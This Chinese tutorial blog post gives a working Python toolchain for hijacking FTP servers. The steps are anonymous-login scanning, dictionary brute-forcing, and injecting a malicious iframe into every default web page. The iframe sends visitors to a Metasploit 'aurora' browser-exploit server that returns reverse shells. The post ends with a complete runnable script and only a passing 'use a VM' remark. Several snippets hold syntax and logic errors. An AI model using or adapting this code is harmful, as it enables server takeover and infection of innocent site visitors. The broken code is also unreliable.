-
开篇惯例,美女镇楼!!
0. 攻击思路
- 利用
FTP
匿名登录或从网上下载的"用户名/密码"
字典包搭配Python
的第三方库ftplib
可以轻松的实现劫持“肉机”操作。在获取对FTP服务器的访问权限后在FTP
主机目录下寻找默认的网页页面,然后上传一个新的含有恶意重定向脚本的默认网页页面,那么被黑掉的服务器就能给任何一台访问其网页的有漏洞的浏览器种植木马。
1. 利用Python
实现匿名FTP
扫描功能
- 一般从安全的角度来说,网站允许匿名
FTP
访问是件很危险且疯狂的做法,但是还是有很多网站提供此项功能。我们可以利用Python
中的ftplib
库编写一个小脚本来检测一个服务器主机是否允许匿名登录操作。anonymous_login()
函数接收一个目标主机名,并返回一个Boolean
值来描述该主机是否提供匿名的FTP
登录。ftplib
模拟匿名登录一般需要提供的用户名为anonymous
,而密码则为邮箱账号。参考代码如下:
import ftplib
def anonymous_login(host):
try:
ftp = ftplib.FTP(host)
ftp.login('anonymous', 'user@xx.com')
print('\n[*] {} FTP Anonymous Logon Successed.'.format(str(host))
ftp.quit()
return True
exception Exception as e:
print('\n[-] {} FTP Anonymous Logon Failed.'.format(str(host))
return False
2. 暴力破解FTP登录口令
- 匿名登录一般是最简单的攻击方式,但事实上很多主机都不允许匿名登录
FTP
,这时我们就需要通过暴力的方式来破解这些主机的FTP
登录账号,所谓的暴力破解其实就是通过在网上下载的FTP
登录账号字典,然后逐行去匹配检索字典中的账号密码是否能正常登录FTP
,最终试出登录口令。 - 接下来我们就来写个暴力破解登录口令的函数
brute_login()
,这个函数接收两个参数,一个主机名,一个保存登录账号密码的字典文本文件名,函数返回的是一个能够正常登录主机的用户名/密码的元组。如果最终穷尽字典文本都未能找到合适的登录口令则返回一个(None, None)
元组。参考代码如下:
import ftplib
def brute_login(host, password_file):
with open(password_file, 'r') as f:
for line in f.readlines():
username = line.split(':')[0]
password = line.split(':')[1].strip('\r').strip('\n')
print('[+] Trying {}/{}'.format(username, password))
try:
ftp = ftplib.FTP(host)
ftp.login(username, password)
print('\n[*] FTP Logon Successed: {}/{}'.format(username, password))
ftp.quit()
return (username, password)
exception Exception as e:
print(e)
print('\n[-] Could not brute force FTP credentials.')
return (None, None)
3. 检索FTP服务器上的默认网页
- 假如通过上面介绍的方法我们成功的拿到了登录口令,接下来我们要测试下该服务器是否提供
Web
服务。如何检测?很简单,我们首先列举出FTP
目录中的所有的文件,检索文件的后缀名是否含有.html、.asp、.php
,搜索出其中是包含的默认网页。 - 接下来我们写个
default_pages()
函数完成这个功能,函数的参数是一个FTP
连接,返回的是一个找到的默认网页的列表list
。注意,这个ftp
是已经成功登录连接,即:ftp=ftplib.FTP(host)
返回的ftp
,这样我们就很容易通过ftp.nlst()
拿到FTP
目录下的所有文件列表dir_list
。具体参见参考代码:
def default_pages(ftp):
try:
dir_list = ftp.nlst()
exception Exception as e:
dir_list = []
print('[-] Could not list directory contents.')
print('[-] Skipping To Next Target.')
return
ret_list = []
for filename in dir_list:
fn = filename.lower()
if '.php' in fn or '.asp' in fn or '.html' in fn:
print('[+] Found default page: {}'.format(filename))
ret_list.append(filename)
return ret_list
4. 向默认网页注入恶意脚本
- 在上面我们已经拿到了默认网页列表
list
,接下来我们就该干点坏事了,向默认网页注入一段重定向至恶意服务器的脚本代码。我们先把默认网页从被黑服务器上download
下来,再向其中注入一个iframe
,最后再把这个注入了恶意脚本的网页上传至被黑服务器上。 - 我们来写个注入脚本的函数,函数参数为一个
FTP
连接,默认网页名,以及一段用于重定向的iframe
字符串。具体操作参见代码:
def inject_script(ftp, page, redirect):
with open(page + '.tmp', 'w') as f:
ftp.retrlines('RETR ' + page, f.write)
print('[+] Downloaded Page: {}'.format(page)
f.write(redirect)
print('[+] Injected Malicious IFrame on: {}'.format(page))
ftp.storlines('STOR ' + page, open(page + '.tmp'))
print('[+] Uploaded Injected Page: ' + page)
5. Attack实施
- 接下来整合上面的函数来写个攻击函数,攻击函数
attack()
接收四个参数,分别是:host, username, password, redirect
。具体做法是:登录目标主机-->检索出FTP目录下所有默认网页文件列表-->迭代默认网页文件列表注入恶意脚本
。 参考代码如下:
import ftplib
def attack(host, username, password, redirect):
ftp = ftplib.FTP(host)
ftp.login(username, password)
print('[*] Successed Logon {}'.format(str(host))
def_pages = default_pages(ftp)
for page in def_pages:
inject_script(ftp, page, redirect)
6. GameOver
小伙伴们看到这里似乎觉得哪里有不对劲但又说不上来到底哪里有问题!似乎没告诉怎么实施具体的攻击方法。接下来讲讲怎么实施具体攻击。
-
我们使用
Metasploit
框架,Metasploit是一款开源的安全漏洞检测工具。在Linux终端下执行curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \ chmod 755 msfinstall && \ ./msfinstall
即可安装该框架,安装完后直接在终端界面输入msfconsole
即可,最终的console
界面如下图所示: 接下来执行快速的创建一个位于
http:///10.10.10.112:8080/exploit
的恶意服务器和页面,选用的是ms10_002_autora
这个漏洞。现在如果有哪个有漏洞的浏览器连接到10.10.10.112:8080/exploit
这个服务器,它就会执行漏洞代码控制目标主机,使之成为一只“肉机”,并使之向我们提供一个反向连接,这样我们就能得到这台被黑掉的计算机上的Windows
命令行提示窗口,从而在“肉机”上以管理员权限执行命令。
# Linux终端下启动 Metasploit框架,注意要使用msfconsole命令,msfcli命令已经失效
msfconsole -x exploit/windows/browser/ms10_002_aurora
- 注入恶意重定向脚本为
redirect=<iframe src="http://10.10.10.112:8080/exploit"></iframe>
,这段脚本注入到FTP
服务器下所有默认网页中,一旦有“幸运儿”访问了这台服务器下的默认网页即会被重定向到10.10.10.112:8080/exploit
这个服务器从而变成你的“肉机”。 - 程序运行方法:
virtual_host# python ftp_attack.py -H xxx.xxx.xxx.xxx -f ftp_user_password.txt -r '<iframe src="http://10.10.10.112:8080/exploit"></iframe>'
友情提示:请在虚拟机上“浪”!!
参考完整代码
- 下面的代码是暴力破解
FTP
服务器并注入恶意代码操作“肉机”的参考代码,需要提前在网上下载用户密码字典。
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# @Author :Sam
# @File : ftp_attack.py
# @Software : PyCharm
import ftplib
import optparse
import time
def anonymous_login(host):
"""
anonymous login host
:param host:
:return:
"""
try:
ftp = ftplib.FTP(host)
ftp.login('anonymous', 'me@your.com')
print('[*] {} FTP Anonymous Logon Successed.'.format(str(host)))
ftp.quit()
return True
except Exception as e:
print(e)
print('[-] {} FTP Anonymous Logon Failed.'.format(str(host)))
return False
def default_pages(ftp):
"""
get default html page from host
:param ftp:
:return:
"""
try:
dir_list = ftp.nlst()
except Exception as e:
dir_list = []
print(e)
print('[-] Could not list directory contents.')
print('[-] Skipping To Next Target.')
return
ret_list = []
for filename in dir_list:
fn = filename.lower()
if '.php' in fn or '.html' in fn or '.asp' in fn:
print('[+] Found default page: {}'.format(filename))
ret_list.append(filename)
return ret_list
def inject_script(ftp, page, redirect):
"""
injected script into default page
:param ftp:
:param page:
:param redirect:
:return:
"""
with open(page + '.tmp', 'w') as f:
ftp.retrlines('RETR ' + page, f.write)
print('[+] Downloaded Page: {}'.format(page))
f.write(redirect)
print('[+] Injected Malicious IFrame on: {}'.format(page))
ftp.storlines('STOR ' + page, open(page + '.tmp'))
print('[+] Uploaded Injected Page: ' + page)
def attack(host, user, password, redirect):
"""
attack host
:param host:
:param user:
:param password:
:param redirect:
:return:
"""
ftp = ftplib.FTP(host)
ftp.login(user, password)
def_pages = default_pages(ftp)
for page in def_pages:
inject_script(ftp, page, redirect)
def brute_login(host, passwd_file):
"""
brute login host serve
:param host:
:param passwd_file:
:return:
"""
with open(passwd_file, 'r') as f:
for line in f.readlines():
time.sleep(1)
username = line.split(':')[0]
password = line.split(':')[1].strip('\r').strip('\n')
print('[+] Trying {}/{}'.format(username, password))
try:
ftp = ftplib.FTP(host)
ftp.login(username.password)
print('[*] FTP Logon Successed: {}/{}'.format(username, password))
ftp.quit()
return (username, password)
except Exception as e:
print(e)
pass
print('[-] Could not brute force FTP credentials.')
return (None, None)
def main():
parser = optparse.OptionParser('usage %prog -H <target host> -f <userpass file> -r <redirect page>')
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-f', dest='passwdFile', type='string', help='specify user/password file')
parser.add_option('-r', dest='redirect', type='string', help='specify a redirection page')
(options, args) = parser.parse_args()
hosts = str(options.tgtHost).split(',')
password_file = options.passwdFile
redirect = options.redirect
if hosts is None or redirect is None:
print(parser.usage)
exit(0)
for host in hosts:
username = None
password = None
if anonymous_login(host):
username = 'anonymous'
password = 'me@you.com'
print('[*] Now Using Anonymous Creds to attack.')
attack(host, username, password, redirect)
elif password_file is not None:
(username, password) = brute_login(host, password_file)
if password is not None:
print('[+] Using Creds: {}/{} to attack.'.format(username, password))
attack(host, username, password, redirect)
if __name__ == '__main__':
main()